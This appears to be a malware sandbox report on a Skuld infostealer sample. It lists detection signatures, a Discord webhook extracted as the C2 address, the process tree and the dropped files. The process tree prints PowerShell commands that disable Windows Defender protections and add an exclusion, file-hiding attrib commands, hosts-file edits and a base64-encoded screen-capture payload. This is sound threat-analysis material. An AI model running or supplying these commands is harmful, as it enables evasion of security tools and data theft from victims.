Resubmissions

17/10/2024, 02:38

241017-c4pyyayang10

17/10/2024, 02:37

241017-c4h6ds1gpk10

Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    17/10/2024, 02:38

General

  • Target
    skuld.exe
  • Size 9.8MB
  • Sample241017-c4pyyayang
  • SHA256 d18a03c30dc2fe580cb29c48d923d3fd26f5ef41d579075333738c1946db3c8d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • skuld

C2
  • https://discord.com/api/webhooks/1296277918661738547/GvUWEusnErfhpdvz7DEgE8VzXSZ8oWS_ujEIVSB0XhETe5iWx3tB8zm_wjAS1bJTlXLF

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:4044
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3276
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3880
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:908
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bzpwgapk\bzpwgapk.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3892
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8BB5.tmp" "c:\Users\Admin\AppData\Local\Temp\bzpwgapk\CSC9785C079B9B74213AFD4EA94D2A4C2C1.TMP"
          4⤵
            PID:4124
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3200
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:2208

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 17c1aed4484101ace66bb74d865fa5a4a75dc4ff491e3aebf58e9862ae263512
          • MD5 SHA1 SHA512

          Display (1).png

          • Path C:\Users\Admin\AppData\Local\Temp\EyoLhHh9B7\Display (1).png
          • Size 416KB
          • SHA256 f9810ced49ad715c3e5d9fc2b18d865cb89a95f7a0a6cb242d6f9fd1b2f3f777
          • MD5 SHA1 SHA512 SSDEEP

          RES8BB5.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES8BB5.tmp
          • Size 1KB
          • SHA256 db1238afe958fc09164365e000de40b4b640805601e0da6b90763259970bde60
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_l44y1kgv.2j2.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l44y1kgv.2j2.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          bzpwgapk.dll

          • Path C:\Users\Admin\AppData\Local\Temp\bzpwgapk\bzpwgapk.dll
          • Size 4KB
          • SHA256 99e5bd43412e410c062e7020df3708ef0f97527a3d72dd929b669db3d0dc2026
          • MD5 SHA1 SHA512

          SecurityHealthSystray.exe

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
          • Size 9.8MB
          • SHA256 d18a03c30dc2fe580cb29c48d923d3fd26f5ef41d579075333738c1946db3c8d
          • MD5 SHA1 SHA512 SSDEEP

          hosts

          • Path C:\Windows\System32\drivers\etc\hosts
          • Size 2KB
          • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
          • MD5 SHA1 SHA512

          CSC9785C079B9B74213AFD4EA94D2A4C2C1.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\bzpwgapk\CSC9785C079B9B74213AFD4EA94D2A4C2C1.TMP
          • Size 652B
          • SHA256 7d691031d15bde8bccad04ffa262d2cb26e8e7d4eef75cb07334a8e4e3aa3fa4
          • MD5 SHA1 SHA512

          bzpwgapk.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\bzpwgapk\bzpwgapk.0.cs
          • Size 1004B
          • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
          • MD5 SHA1 SHA512

          bzpwgapk.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\bzpwgapk\bzpwgapk.cmdline
          • Size 607B
          • SHA256 e9b7298ad0b3d5e7c8f9fecb76df46c947ac2e6e086add75e217de25c64f9e79
          • MD5 SHA1 SHA512

          memory/908-56-0x000001B7EE110000-0x000001B7EE118000-memory.dmp

          memory/3276-19-0x00007FFED1CF0000-0x00007FFED27B2000-memory.dmp

          memory/3276-1-0x00007FFED1CF3000-0x00007FFED1CF5000-memory.dmp

          memory/3276-16-0x00007FFED1CF0000-0x00007FFED27B2000-memory.dmp

          memory/3276-14-0x00007FFED1CF0000-0x00007FFED27B2000-memory.dmp

          memory/3276-5-0x00007FFED1CF0000-0x00007FFED27B2000-memory.dmp

          memory/3276-4-0x000002A6393E0000-0x000002A639402000-memory.dmp